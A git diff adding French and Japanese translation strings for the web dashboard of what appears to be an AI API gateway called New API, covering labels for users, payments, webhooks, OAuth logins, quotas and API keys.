+    "User Group": "Groupe d'utilisateurs",
+    "User group name": "Nom du groupe d'utilisateurs",
+    "User Group: {{ratio}}x": "Groupe utilisateur : {{ratio}}x",
+    "User groups that can access channels with this tag": "Groupes d'utilisateurs pouvant accéder aux canaux avec cette balise",
+    "User groups that can access this channel. ": "Groupes d'utilisateurs qui peuvent accéder à ce canal. ",
+    "User ID": "ID utilisateur",
+    "User ID Field": "Champ ID utilisateur",
+    "User ID:": "ID utilisateur :",
+    "User Info Endpoint": "Point de terminaison des informations utilisateur",
+    "User Info Endpoint (Optional)": "Point de terminaison d'informations utilisateur (Facultatif)",
+    "User Information": "Informations utilisateur",
+    "User Menu": "Menu utilisateur",
+    "User personal functions": "Fonctions personnelles de l'utilisateur",
+    "User Subscription Management": "Gestion des abonnements utilisateur",
+    "User updated successfully": "Utilisateur mis à jour avec succès",
+    "User Verification": "Vérification de l'utilisateur",
+    "User-Agent include (one per line)": "User-Agent inclus (un par ligne)",
+    "Username": "Nom d'utilisateur",
+    "Username confirmation does not match": "La confirmation du nom d'utilisateur ne correspond pas",
+    "Username Field": "Champ nom d'utilisateur",
+    "Username or Email": "Nom d'utilisateur ou e-mail",
+    "Users": "Utilisateurs",
+    "Users call the model on the left. The platform forwards the request to the upstream model on the right.": "Les utilisateurs appellent le modèle à gauche. La plateforme transmet la requête au modèle amont à droite.",
+    "Users must wait for a successful drawing before upscales or variations.": "Les utilisateurs doivent attendre une génération réussie avant les upscales ou variations.",
+    "uses": "utilisations",
+    "Validity": "Validité",
+    "Validity Period": "Période de validité",
+    "Value": "Valeur",
+    "Value must be at least 0": "La valeur doit être au moins 0",
+    "Value Regex": "Regex de valeur",
+    "variable": "variable",
+    "variable) *": "variable) *",
+    "Variables": "Variables",
+    "Vary": "Varier",
+    "Vary (Strong)": "Varier (fort)",
+    "Vary (Subtle)": "Varier (subtil)",
+    "Vendor": "Fournisseur",
+    "Vendor deleted successfully": "Fournisseur supprimé avec succès",
+    "Vendor Name *": "Nom du fournisseur *",
+    "Vendor:": "Fournisseur :",
+    "Verification code": "Code de vérification",
+    "Verification Code": "Code de vérification",
+    "Verification code must be 6 digits": "Le code de vérification doit comporter 6 chiffres",
+    "Verification code sent! Please check your email.": "Code de vérification envoyé ! Veuillez vérifier votre email.",
+    "Verification code updates every 30 seconds.": "Le code de vérification se met à jour toutes les 30 secondes.",
+    "Verification email sent": "Email de vérification envoyé",
+    "Verification failed": "Échec de la vérification",
+    "Verification is not configured properly": "La vérification n'est pas configurée correctement",
+    "Verification required to reveal the saved key.": "Vérification requise pour révéler la clé enregistrée.",
+    "Verify": "Vérifier",
+    "Verify and Sign In": "Vérifier et se connecter",
+    "Verify Setup": "Vérifier la configuration",
+    "Verify your database connection": "Vérifiez votre connexion à la base de données",
+    "Version Overrides": "Remplacements de version",
+    "Vertex AI": "Vertex AI",
+    "Vertex AI does not support functionResponse.id. Enable this to remove the field automatically.": "Vertex AI ne prend pas en charge functionResponse.id. Activez ceci pour supprimer automatiquement ce champ.",
+    "Vertex AI Key Format": "Format de clé Vertex AI",
+    "Video": "Vidéo",
+    "Video Remix": "Remix vidéo",
+    "Vidu": "Vidu",
+    "View": "Afficher",
+    "View all currently available models": "Voir tous les modèles actuellement disponibles",
+    "View and manage your API usage logs": "Afficher et gérer vos journaux d'utilisation de l'API",
+    "View and manage your drawing logs": "Afficher et gérer vos journaux de dessin",
+    "View and manage your task logs": "Afficher et gérer vos journaux de tâches",
+    "View dashboard overview and statistics": "Afficher le tableau de bord, aperçu et statistiques",
+    "View detailed information about this user including balance, usage statistics, and invitation details.": "Afficher des informations détaillées sur cet utilisateur, y compris le solde, les statistiques d'utilisation et les détails d'invitation.",
+    "View details": "Voir les détails",
+    "View document": "Afficher le document",
+    "View logs": "Voir les logs",
+    "View mode": "Mode d'affichage",
+    "View model call count analytics and charts": "Afficher les analyses et graphiques du nombre d'appels par modèle",
+    "View model statistics and charts": "Afficher les statistiques et graphiques des modèles",
+    "View Pricing": "Voir les tarifs",
+    "View the complete details for this": "Voir les détails complets de ce",
+    "View the complete details for this log entry": "Voir les détails complets de cette entrée de journal",
+    "View the complete error message and details": "Voir le message d'erreur et les détails complets",
+    "View the complete prompt and its English translation": "Voir l'invite complète et sa traduction anglaise",
+    "View the generated image": "Voir l'image générée",
+    "View user consumption statistics and charts": "Voir les statistiques et graphiques de consommation",
+    "View your topup transaction records and payment history": "Afficher vos enregistrements de transactions de recharge et votre historique de paiement",
+    "Violation Code": "Code de violation",
+    "Violation deduction amount": "Montant de la déduction pour violation",
+    "Violation Fee": "Frais de violation",
+    "Violation Marker": "Marqueur de violation",
+    "vip": "vip",
+    "VIP users with premium access": "Utilisateurs VIP avec accès premium",
+    "Visit Settings → General and adjust quota options...": "Visitez Paramètres → Général et ajustez les options de quota...",
+    "Visitors must authenticate before accessing the pricing directory.": "Les visiteurs doivent s'authentifier avant d'accéder au répertoire des prix.",
+    "Visual": "Visuel",
+    "Visual editor": "Éditeur visuel",
+    "Visual Editor": "Éditeur Visuel",
+    "Visual indicator color for the API card": "Couleur de l'indicateur visuel pour la carte API",
+    "Visual Mode": "Mode Visuel",
+    "VolcEngine": "VolcEngine",
+    "Waffo Pancake Payment Gateway": "Passerelle de paiement Waffo Pancake",
+    "Waffo Payment": "Paiement Waffo",
+    "Waffo Payment Gateway": "Passerelle de paiement Waffo",
+    "Waffo Public Key (Production)": "Clé publique Waffo (Production)",
+    "Waffo Public Key (Sandbox)": "Clé publique Waffo (Sandbox)",
+    "Waiting": "En attente",
+    "Waiting for email...": "En attente de l'e-mail...",
+    "Wallet": "Portefeuille",
+    "Wallet First": "Portefeuille en priorité",
+    "Wallet Management": "Gestion du portefeuille",
+    "Wallet management and personal preferences.": "Gestion du portefeuille et préférences personnelles.",
+    "Wallet Only": "Portefeuille uniquement",
+    "Warning": "Avertissement",
+    "Warning: Base URL should not end with /v1. New API will handle it automatically. This may cause request failures.": "Avertissement : L'URL de base ne doit pas se terminer par /v1. La nouvelle API le gérera automatiquement. Cela peut causer des échecs de requêtes.",
+    "Warning: Disabling 2FA will make your account less secure.": "Avertissement : La désactivation de la 2FA rendra votre compte moins sécurisé.",
+    "Warning: This action is permanent and irreversible!": "Avertissement : Cette action est permanente et irréversible !",
+    "We apologize for the inconvenience.": "Nous nous excusons pour le désagrément.",
+    "We could not load the setup status.": "Nous n'avons pas pu charger l'état de la configuration.",
+    "We will prompt your device to confirm using biometrics or your hardware key.": "Nous allons demander à votre appareil de confirmer en utilisant la biométrie ou votre clé matérielle.",
+    "We'll be back online shortly.": "Nous serons de retour en ligne sous peu.",
+    "Web Search": "Recherche web",
+    "Webhook Configuration:": "Configuration du Webhook :",
+    "Webhook public key (production)": "Clé publique Webhook (production)",
+    "Webhook public key (production) is required": "La clé publique Webhook (production) est requise",
+    "Webhook public key (sandbox)": "Clé publique Webhook (sandbox)",
+    "Webhook public key (sandbox) is required": "La clé publique Webhook (sandbox) est requise",
+    "Webhook secret": "Secret du Webhook",
+    "Webhook Secret": "Secret du Webhook",
+    "Webhook signing secret (leave blank unless updating)": "Secret de signature du Webhook (laisser vide sauf en cas de mise à jour)",
+    "Webhook URL": "URL du Webhook",
+    "Webhook URL:": "URL du Webhook :",
+    "Website is under maintenance!": "Le site web est en maintenance !",
+    "WeChat": "WeChat",
+    "WeChat login QR code": "Code QR de connexion WeChat",
+    "WeChat QR code will be displayed here": "Le code QR WeChat sera affiché ici",
+    "WeChat sign in": "Connexion WeChat",
+    "Week": "Semaine",
+    "Weekday": "Jour de la semaine",
+    "Weekly": "Hebdomadaire",
+    "Weekly Window": "Fenêtre hebdomadaire",
+    "Weight": "Poids",
+    "Welcome back!": "Bienvenue de retour !",
+    "Welcome to our New API...": "Bienvenue sur notre New API...",
+    "Well-Known URL": "URL bien connue",
+    "Well-Known URL must start with http:// or https://": "L'URL bien connue doit commencer par http:// ou https://",
+    "What would you like to know?": "Que voulez-vous savoir ?",
+    "When conditions match, the final price is multiplied by X. Multiple matches multiply together; values < 1 act as discounts.": "Si les conditions sont remplies, le prix final est multiplié par X. Plusieurs correspondances se multiplient ; les valeurs < 1 agissent comme des remises.",
+    "When enabled, if channels in the current group fail, it will try channels in the next group in order.": "Lorsqu'elle est activée, si les canaux du groupe actuel échouent, le système essaiera les canaux du groupe suivant dans l'ordre.",
+    "When enabled, large request bodies are temporarily stored on disk instead of memory, significantly reducing memory usage. SSD recommended.": "Lorsqu'activé, les corps de requête volumineux sont temporairement stockés sur disque, réduisant considérablement l'utilisation mémoire. SSD recommandé.",
+    "When enabled, Midjourney callbacks are accepted (reveals server IP).": "Lorsque activé, les callbacks Midjourney sont acceptés (révèle l'IP du serveur).",
+    "When enabled, newly created tokens start in the first auto group.": "Lorsqu'elle est activée, les jetons nouvellement créés commencent dans le premier groupe automatique.",
+    "When enabled, prompts are scanned before reaching upstream models.": "Lorsqu'elle est activée, les invites sont scannées avant d'atteindre les modèles en amont.",
+    "When enabled, the store field will be blocked": "Lorsqu'il est activé, le champ de la boutique sera bloqué",
+    "When enabled, violation requests will incur additional charges.": "Lorsqu'activé, les requêtes en violation entraîneront des frais supplémentaires.",
+    "When enabled, zero-cost models also pre-consume quota before final settlement.": "Lorsqu'elle est activée, les modèles à coût zéro pré-consomment également du quota avant le règlement final.",
+    "When performance monitoring is enabled and system resource usage exceeds the set threshold, new Relay requests will be rejected.": "Lorsque la surveillance des performances est activée et que les ressources dépassent le seuil, les nouvelles requêtes Relay seront rejetées.",
+    "When running in containers or ephemeral environments, ensure the SQLite file is mapped to persistent storage to avoid data loss on restart.": "Lors de l'exécution dans des conteneurs ou des environnements éphémères, assurez-vous que le fichier SQLite est mappé à un stockage persistant pour éviter la perte de données au redémarrage.",
+    "Whitelist": "Liste blanche",
+    "Whitelist (Only allow listed domains)": "Liste blanche (Autoriser uniquement les domaines listés)",
+    "Whitelist (Only allow listed IPs)": "Liste blanche (Autoriser uniquement les adresses IP listées)",
+    "whsec_xxx": "whsec_xxx",
+    "Window:": "Fenêtre :",
+    "with conflicts": "avec des conflits",
+    "Worker Access Key": "Clé d'accès du Worker",
+    "Worker Proxy": "Proxy Worker",
+    "Worker URL": "URL du Worker",
+    "Workspaces": "Espaces de travail",
+    "x": "x",
+    "xAI": "xAI",
+    "Xinference": "Xinference",
+    "Xunfei": "Xunfei",
+    "years": "ans",
+    "You are about to delete {{count}} API key(s).": "Vous êtes sur le point de supprimer {{count}} clé(s) API.",
+    "You are running the latest version ({{version}}).": "Vous utilisez la dernière version ({{version}}).",
+    "You can close this tab once the binding completes or a success message appears in the original window.": "Vous pouvez fermer cet onglet une fois la liaison terminée ou qu'un message de succès apparaît dans la fenêtre d'origine.",
+    "You can manually add them in \"Custom Model Names\", click \"Fill\" and then submit, or use the operations below to handle automatically.": "Vous pouvez les ajouter manuellement dans \"Noms de modèles personnalisés\", cliquer sur \"Remplir\" puis soumettre, ou utiliser les opérations ci-dessous pour les gérer automatiquement.",
+    "You can only check in once per day": "Vous ne pouvez vous connecter qu'une fois par jour",
+    "You don't have necessary permission": "Vous n'avez pas la permission nécessaire",
+    "You have unsaved changes": "Vous avez des modifications non enregistrées",
+    "You have unsaved changes. Are you sure you want to leave?": "Vous avez des modifications non enregistrées. Êtes-vous sûr de vouloir quitter ?",
+    "You Pay": "Vous payez",
+    "You save": "Vous économisez",
+    "You will be redirected to Telegram to complete the binding process.": "Vous serez redirigé vers Telegram pour terminer le processus de liaison.",
+    "You'll be redirected automatically. You can return to the previous page if nothing happens after a few seconds.": "Vous serez redirigé automatiquement. Vous pouvez revenir à la page précédente si rien ne se passe après quelques secondes.",
+    "your AI integration?": "votre intégration IA ?",
+    "Your Azure OpenAI endpoint URL": "Votre URL de point de terminaison Azure OpenAI",
+    "Your Bot Name": "Nom de votre Bot",
+    "Your Cloudflare Account ID": "Votre ID de compte Cloudflare",
+    "Your Discord OAuth Client ID": "Votre ID client OAuth Discord",
+    "Your Discord OAuth Client Secret": "Votre secret client OAuth Discord",
+    "Your GitHub OAuth Client ID": "Votre ID Client OAuth GitHub",
+    "Your GitHub OAuth Client Secret": "Votre Secret Client OAuth GitHub",
+    "Your new backup codes are ready": "Vos nouveaux codes de secours sont prêts",
+    "Your Referral Link": "Votre lien de parrainage",
+    "Your system access token for API authentication. Keep it secure and don't share it with others.": "Votre jeton d'accès système pour l'authentification API. Gardez-le en sécurité et ne le partagez pas avec d'autres.",
+    "Your Telegram Bot Token": "Votre Jeton de Bot Telegram",
+    "Your Turnstile secret key": "Votre clé secrète Turnstile",
+    "Your Turnstile site key": "Votre clé de site Turnstile",
+    "Zhipu": "Zhipu",
+    "Zhipu V4": "Zhipu V4",
+    "Zoom": "Zoom"
+  }
+}
diff --git a/new-api/web/default/src/i18n/locales/ja.json b/new-api/web/default/src/i18n/locales/ja.json
new file mode 100644
index 0000000..f4328c6
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/ja.json
@@ -0,0 +1,3683 @@
+{
+  "translation": {
+    "360": "360",
+    "1000": "1000",
+    "10000": "10000",
+    "_copy": "_copy",
+    ", and": "、および",
+    "? This action cannot be undone.": "? この操作は元に戻せません。",
+    ". Please fix the JSON before saving.": "。保存する前にJSONを修正してください。",
+    ". This action cannot be undone.": "。この操作は元に戻せません。",
+    "...": "...",
+    "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"": "\"default \":\" us - central 1 \", \"claude -3 -5 - sonnet -20240620 \":\" europe - west 1 \"",
+    "(Leave empty to dissolve tag)": "(タグを解除するには空欄のままにしてください)",
+    "(Optional: redirect model names)": "(オプション: モデル名をリダイレクト)",
+    "(Override all channels' groups)": "（全チャンネルのグループを上書き）",
+    "(Override all channels' models)": "（全チャンネルのモデルを上書き）",
+    "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]": "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]",
+    "[{\"name\":\"支付宝\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]": "[{\"name\":\"Alipay\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]",
+    "{\"original-model\": \"replacement-model\"}": "{\" original - model \":\" replacement - model \"}",
+    "{{category}} Models": "{{category}} モデル",
+    "{{count}} channel(s) deleted": "{{count}} 個のチャネルを削除しました",
+    "{{count}} channel(s) disabled": "{{count}} 個のチャネルを無効にしました",
+    "{{count}} channel(s) enabled": "{{count}} 個のチャネルを有効にしました",
+    "{{count}} channel(s) failed to disable": "{{count}} 個のチャネルの無効化に失敗しました",
+    "{{count}} channel(s) failed to enable": "{{count}} 個のチャネルの有効化に失敗しました",
+    "{{count}} days ago": "{{count}} 日前",
+    "{{count}} days remaining": "残り {{count}} 日",
+    "{{count}} disabled channel(s) deleted": "{{count}} 個の無効チャネルを削除しました",
+    "{{count}} hours ago": "{{count}} 時間前",
+    "{{count}} IP(s)": "{{count}} IP",
+    "{{count}} log entries removed.": "{{count}} 件のログエントリを削除しました。",
+    "{{count}} minutes ago": "{{count}} 分前",
+    "{{count}} model(s)": "{{count}} モデル",
+    "{{count}} months ago": "{{count}} ヶ月前",
+    "{{count}} override": "{{count}} 個のオーバーライド",
+    "{{count}} tiers": "{{count}} 段階",
+    "{{count}} weeks ago": "{{count}} 週間前",
+    "{{field}} updated to {{value}}": "{{field}} を {{value}} に更新しました",
+    "{{field}} updated to {{value}} for tag: {{tag}}": "タグ「{{tag}}」の {{field}} を {{value}} に更新しました",
+    "{{n}} model(s) selected": "{{n}} 件のモデルを選択済み",
+    "{{value}}ms": "{{value}}ミリ秒",
+    "{{value}}s": "{{value}}秒",
+    "@lobehub/icons key": "@lobehub/icons キー",
+    "@lobehub/icons key name": "@lobehub/icons キー名",
+    "/status/": "/status/",
+    "/your/endpoint": "/your/endpoint",
+    "% off": "% OFF",
+    "`, and `-nothinking` suffixes while routing to the correct Gemini variant.": "`, および `-nothinking` サフィックスを、正しい Gemini バリアントにルーティングする際に使用します。",
+    "© 2025 Your Company. All rights reserved.": "© 2025 Your Company. 全著作権所有。",
+    "| Based on": "| に基づく",
+    "0 means unlimited": "0は無制限を意味します",
+    "1 Day": "1日",
+    "1 day ago": "1日前",
+    "1 Hour": "1時間",
+    "1 hour ago": "1時間前",
+    "1 minute ago": "1分前",
+    "1 Month": "1ヶ月",
+    "1 month ago": "1ヶ月前",
+    "1 week ago": "1週間前",
+    "1 year ago": "1年前",
+    "1. Create an application in your Gotify server": "1. Gotifyサーバーでアプリケーションを作成します",
+    "1) Click \"Open authorization page\" and complete login. 2) Your browser may redirect to localhost (it is OK if the page does not load). 3) Copy the full URL from the address bar and paste it below. 4) Click \"Generate credential\".": "1)「認証ページを開く」をクリックしてログイン。2) ブラウザが localhost にリダイレクトしても構いません。3) アドレスバーのURL全体をコピーして下に貼り付け。4)「認証情報を生成」をクリック。",
+    "10 / page": "10 / ページ",
+    "100 / page": "100 / ページ",
+    "14 Days": "14日",
+    "192.168.1.1&#10;10.0.0.0/8": "192.168.1.1&#10;10.0.0.0/8",
+    "1M": "1M",
+    "1W": "1W",
+    "2. Copy the application token": "2. アプリケーショントークンをコピーします",
+    "20 / page": "20 / ページ",
+    "24 Hours": "24時間",
+    "24 hours ago": "24時間前",
+    "29 Days": "29日",
+    "3. Enter your Gotify server URL and token above": "3. 上記にGotifyサーバーのURLとトークンを入力します",
+    "30 Days": "30日",
+    "30 days ago": "30日前",
+    "5-Hour Window": "5時間ウィンドウ",
+    "50 / page": "50 / ページ",
+    "7 Days": "7日",
+    "7 days ago": "7日前",
+    "80,443,8080": "80,443,8080",
+    "About": "このサービスについて",
+    "Accept Unpriced Models": "価格設定されていないモデルを許可",
+    "Accepts a JSON array of model identifiers that support the Imagine API.": "Imagine APIをサポートするモデル識別子のJSON配列を受け入れます。",
+    "Accepts comma-separated status codes and inclusive ranges.": "カンマ区切りのステータスコードと包含範囲を受け入れます。",
+    "Access Denied Message": "アクセス拒否メッセージ",
+    "Access Forbidden": "アクセス禁止",
+    "Access Policy (JSON)": "アクセスポリシー (JSON)",
+    "Access previous conversations and start new ones.": "以前の会話にアクセスし、新しい会話を開始します。",
+    "Access Token": "アクセストークン",
+    "AccessKey / SecretAccessKey": "AccessKey/SecretAccessKey",
+    "Account Binding Management": "アカウント連携管理",
+    "Account Bindings": "アカウントバインディング",
+    "Account created! Please sign in": "アカウントが作成されました！ログインしてください",
+    "Account deleted successfully": "アカウントが正常に削除されました",
+    "Account ID *": "アカウントID *",
+    "Account Info": "アカウント情報",
+    "Account used when authenticating with the SMTP server": "SMTPサーバーで認証する際に使用されるアカウント",
+    "Action confirmation": "操作確認",
+    "Actions": "操作",
+    "active": "有効",
+    "Active": "有効",
+    "Active Cache Count": "アクティブキャッシュ数",
+    "Active Files": "アクティブファイル",
+    "active users": "アクティブユーザー",
+    "Actual Amount": "実際の金額",
+    "Actual Model": "実際のモデル",
+    "Actual Model:": "実際のモデル：",
+    "Add": "追加",
+    "Add {{title}}": "{{title}}を追加",
+    "Add a group identifier to the auto assignment list.": "自動割り当てリストにグループ識別子を追加します。",
+    "Add a new API key by providing necessary info.": "必要な情報を提供して新しいAPIキーを追加。",
+    "Add a new channel by providing the necessary information.": "必要な情報を提供して新しいチャンネルを追加。",
+    "Add a new model to the system by providing the necessary information.": "必要な情報を提供してシステムに新しいモデルを追加してください。",
+    "Add a new user by providing necessary info.": "必要な情報を提供して新しいユーザーを追加します。",
+    "Add a new vendor to the system": "システムに新しいベンダーを追加",
+    "Add an extra layer of security to your account": "アカウントにセキュリティの追加レイヤーを追加します",
+    "Add and submit": "追加して送信",
+    "Add Announcement": "お知らせを追加",
+    "Add API": "API追加",
+    "Add API Shortcut": "API ショートカットを追加",
+    "Add auto group": "自動グループを追加",
+    "Add chat preset": "チャットプリセットを追加",
+    "Add condition": "条件を追加",
+    "Add custom model(s), comma-separated": "カスタムモデルを追加 (コンマ区切り)",
+    "Add discount tier": "割引ティアを追加",
+    "Add each model or tag you want to include.": "含めたい各モデルまたはタグを追加。",
+    "Add FAQ": "FAQ追加",
+    "Add from available models...": "利用可能なモデルから追加...",
+    "Add Funds": "残高チャージ",
+    "Add group": "グループを追加",
+    "Add Group": "グループを追加",
+    "Add group rate limit": "グループレート制限を追加",
+    "Add group rules": "グループルールを追加",
+    "Add Mapping": "マッピングを追加",
+    "Add method": "メソッドを追加",
+    "Add Mode": "モードを追加",
+    "Add model": "モデル追加",
+    "Add Model": "モデルを追加",
+    "Add Models": "モデルを追加",
+    "Add new amount": "新しい金額を追加",
+    "Add new redemption code(s) by providing necessary info.": "必要な情報を提供して新しい引き換えコードを追加します。",
+    "Add OAuth Provider": "OAuthプロバイダーを追加",
+    "Add param/header": "パラメータ/ヘッダーを追加",
+    "Add payment method": "決済方法を追加",
+    "Add photos or files": "写真やファイルを追加",
+    "Add product": "製品を追加",
+    "Add Provider": "プロバイダーを追加",
+    "Add Quota": "クォータを追加",
+    "Add ratio override": "倍率オーバーライドを追加",
+    "Add Row": "行を追加",
+    "Add Rule": "ルール追加",
+    "Add rule group": "ルールグループを追加",
+    "Add selectable group": "選択可能なグループを追加",
+    "Add subscription": "サブスクリプションを追加",
+    "Add tags...": "タグを追加...",
+    "Add tier": "ティアを追加",
+    "Add time condition": "時間条件を追加",
+    "Add time rule group": "時間ルールグループを追加",
+    "Add Uptime Kuma Group": "Uptime Kuma グループを追加",
+    "Add User": "ユーザーを追加",
+    "Add user group": "ユーザーグループを追加",
+    "Add your API keys, set up channels and configure access permissions": "APIキーを追加し、チャネルを設定してアクセス権限を構成します",
+    "Added {{count}} custom model(s)": "{{count}} 個のカスタムモデルを追加しました",
+    "Added {{count}} model(s)": "{{count}} 個のモデルを追加しました",
+    "Added successfully": "追加に成功しました",
+    "Additional information": "追加情報",
+    "Additional Information": "追加情報",
+    "Additional Limit": "追加上限",
+    "Additional Limits": "追加上限",
+    "Additional metered capability": "追加の従量制機能",
+    "Adjust Quota": "クォータを調整",
+    "Adjust the appearance and layout to suit your preferences.": "好みに合わせて外観とレイアウトを調整します。",
+    "Admin": "管理者",
+    "Admin access required": "管理者アクセスが必要です",
+    "Admin area": "管理者エリア",
+    "Admin notes (only visible to admins)": "管理者メモ (管理者のみに表示)",
+    "Admin Only": "管理者のみ",
+    "Administer user accounts and roles.": "ユーザーアカウントとロールを管理します。",
+    "Administrator account": "管理者アカウント",
+    "Administrator username": "管理者ユーザー名",
+    "Advanced": "高度な設定",
+    "Advanced Configuration": "詳細設定",
+    "Advanced options": "詳細オプション",
+    "Advanced Options": "詳細オプション",
+    "Advanced platform configuration.": "高度なプラットフォーム設定。",
+    "Advanced Settings": "詳細設定",
+    "After clicking the button, you'll be asked to authorize the bot": "ボタンをクリックすると、ボットの認証を求められます",
+    "After disabling, it will no longer be shown to users, but historical orders are not affected. Continue?": "無効化するとユーザーに表示されなくなりますが、過去の注文には影響しません。続行しますか？",
+    "After enabling, the plan will be shown to users. Continue?": "有効化するとユーザーに表示されます。続行しますか？",
+    "After invalidating, this subscription will be immediately deactivated. Historical records are not affected. Continue?": "無効化するとこのサブスクリプションは即座に停止されます。履歴記録には影響しません。続行しますか？",
+    "After scanning, the binding will complete automatically": "スキャン後、バインドは自動的に完了します",
+    "Agent ID *": "エージェントID *",
+    "Aggregated usage metrics and trend charts.": "集計された使用量メトリクスとトレンドチャート。",
+    "aggregates 50+ AI providers behind one unified API. Manage access, track costs, and scale effortlessly.": "50以上のAIプロバイダーを統一APIで集約。アクセス管理、コスト追跡、スケーリングを簡単に。",
+    "AGPL v3.0 License": "AGPL v3.0ライセンス",
+    "AI model testing environment": "AIモデルテスト環境",
+    "AI models": "AIモデル",
+    "AI models supported": "AIモデル対応",
+    "AI Proxy": "AIプロキシ",
+    "AI Proxy Library": "AIプロキシライブラリ",
+    "AIGC2D": "AIGC2D",
+    "AILS": "AILS",
+    "AK/SK mode: use AccessKey|SecretAccessKey|Region": "AK/SKモード: AccessKey | SecretAccessKey | Regionを使用",
+    "Ali": "Ali",
+    "All": "すべて",
+    "All edits are overwrite operations. Leave fields empty to keep current values unchanged.": "すべての編集は上書き操作です。現在の値を変更しないままにするには、フィールドを空のままにしてください。",
+    "All files exceed the maximum size.": "すべてのファイルが最大サイズを超えています。",
+    "All Groups": "すべてのグループ",
+    "All Models": "すべてのモデル",
+    "All models in use are properly configured.": "使用中のすべてのモデルが適切に構成されています。",
+    "All Status": "すべてのステータス",
+    "All Sync Status": "すべての同期状態",
+    "All Tags": "すべてのタグ",
+    "All Types": "すべてのタイプ",
+    "All upstream data is trusted": "すべてのアップストリームデータは信頼されています",
+    "All Vendors": "すべてのベンダー",
+    "All Your AI Models": "すべてのAIモデル",
+    "Allocated Memory": "割り当て済みメモリ",
+    "Allow accountFilter parameter": "accountFilter パラメータを許可",
+    "Allow Claude beta query passthrough": "Claude ベータクエリのパススルーを許可",
+    "Allow clients to query configured ratios via `/api/ratio`.": "クライアントが `/api/ratio` 経由で設定された比率を照会できるようにします。",
+    "Allow HTTP image requests": "HTTP画像リクエストを許可",
+    "Allow include usage obfuscation passthrough": "使用量難読化のパススルーを許可",
+    "Allow inference geography passthrough": "推論ジオグラフィのパススルーを許可",
+    "Allow inference_geo passthrough": "inference_geo パススルーを許可",
+    "Allow Insecure Origins": "安全でないオリジンを許可",
+    "Allow new users to register": "新規ユーザーの登録を許可",
+    "Allow Private IPs": "プライベートIPを許可",
+    "Allow registration with password": "パスワードによる登録を許可",
+    "Allow requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)": "プライベートIP範囲へのリクエストを許可 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)",
+    "Allow safety_identifier passthrough": "SAFETY_IDENTIFIERパススルーを許可する",
+    "Allow service_tier passthrough": "Service_tierパススルーを許可する",
+    "Allow speed passthrough": "speed パススルーを許可",
+    "Allow upstream callbacks": "アップストリームコールバックを許可",
+    "Allow users to check in daily for random quota rewards": "ユーザーが毎日チェックインしてランダムなクォータ報酬を受け取れるようにする",
+    "Allow users to enter promo codes": "ユーザーがプロモーションコードを入力できるようにする",
+    "Allow users to log in with password": "ユーザーがパスワードでログインできるようにする",
+    "Allow users to register and sign in with Passkey (WebAuthn)": "ユーザーがPasskey (WebAuthn) で登録およびサインインできるようにする",
+    "Allow users to sign in with Discord": "ユーザーがDiscordでログインできるようにする",
+    "Allow users to sign in with GitHub": "ユーザーがGitHubでサインインできるようにする",
+    "Allow users to sign in with LinuxDO": "ユーザーがLinuxDOでサインインできるようにする",
+    "Allow users to sign in with OpenID Connect": "ユーザーがOpenID Connectでサインインできるようにする",
+    "Allow users to sign in with Telegram": "ユーザーがTelegramでサインインできるようにする",
+    "Allow users to sign in with this provider": "このプロバイダーでサインインを許可する",
+    "Allow users to sign in with WeChat": "ユーザーがWeChatでサインインできるようにする",
+    "Allow using models without price configuration": "価格設定なしでモデルの使用を許可",
+    "Allowed": "許可",
+    "Allowed Origins": "許可するオリジン",
+    "Allowed Ports": "許可するポート",
+    "Already have an account?": "アカウントをお持ちの方？",
+    "Always matches (default tier).": "常に一致（デフォルト ティア）。",
+    "Amount": "金額",
+    "Amount cannot be changed when editing.": "編集時は金額を変更できません。",
+    "Amount discount": "割引額",
+    "Amount Due": "お支払い金額",
+    "Amount must be a whole number": "金額は整数でなければなりません",
+    "Amount must be greater than 0": "金額は 0 より大きくなければなりません",
+    "Amount of quota to credit to user account.": "ユーザーアカウントに付与するクォータの量。",
+    "Amount options must be a JSON array": "金額オプションは JSON 配列でなければなりません",
+    "Amount to pay:": "支払い金額:",
+    "An unexpected error occurred": "予期せぬエラーが発生しました",
+    "and": "および",
+    "Announcement added. Click \"Save Settings\" to apply.": "お知らせが追加されました。\"設定を保存\" をクリックして適用してください。",
+    "Announcement content": "お知らせの内容",
+    "Announcement deleted. Click \"Save Settings\" to apply.": "お知らせが削除されました。\"設定を保存\" をクリックして適用してください。",
+    "Announcement Details": "お知らせの詳細",
+    "Announcement displayed to users (supports Markdown & HTML)": "ユーザーに表示されるお知らせ (Markdown & HTML対応)",
+    "Announcement updated. Click \"Save Settings\" to apply.": "お知らせが更新されました。\"設定を保存\" をクリックして適用してください。",
+    "Announcements": "お知らせ",
+    "Announcements saved successfully": "お知らせが正常に保存されました",
+    "Answer": "回答",
+    "Anthropic": "Anthropic",
+    "API Addresses": "APIアドレス",
+    "API Base URL (Important: Not Chat API) *": "APIベースURL (重要: チャットAPIではありません) *",
+    "API Base URL *": "APIベースURL *",
+    "API Endpoints": "APIエンドポイント",
+    "API Info": "API情報",
+    "API info added. Click \"Save Settings\" to apply.": "API情報が追加されました。「Save Settings」をクリックして適用してください。",
+    "API info deleted. Click \"Save Settings\" to apply.": "API情報が削除されました。「Save Settings」をクリックして適用してください。",
+    "API info saved successfully": "API情報が正常に保存されました",
+    "API info updated. Click \"Save Settings\" to apply.": "API情報が更新されました。「Save Settings」をクリックして適用してください。",
+    "API key": "APIキー",
+    "API Key": "APIキー",
+    "API Key (one per line for batch mode)": "API キー (バッチモード時は1行に1つ)",
+    "API Key (Production)": "APIキー（本番）",
+    "API Key (Sandbox)": "APIキー（サンドボックス）",
+    "API Key *": "APIキー *",
+    "API Key created successfully": "APIキーが正常に作成されました",
+    "API Key deleted successfully": "APIキーが正常に削除されました",
+    "API Key disabled successfully": "APIキーが正常に無効化されました",
+    "API Key enabled successfully": "APIキーが正常に有効化されました",
+    "API key from the provider": "プロバイダからのAPIキー",
+    "API key is required": "APIキーが必要です",
+    "API Key mode (does not support batch creation)": "APIキー モード（一括作成には対応していません）",
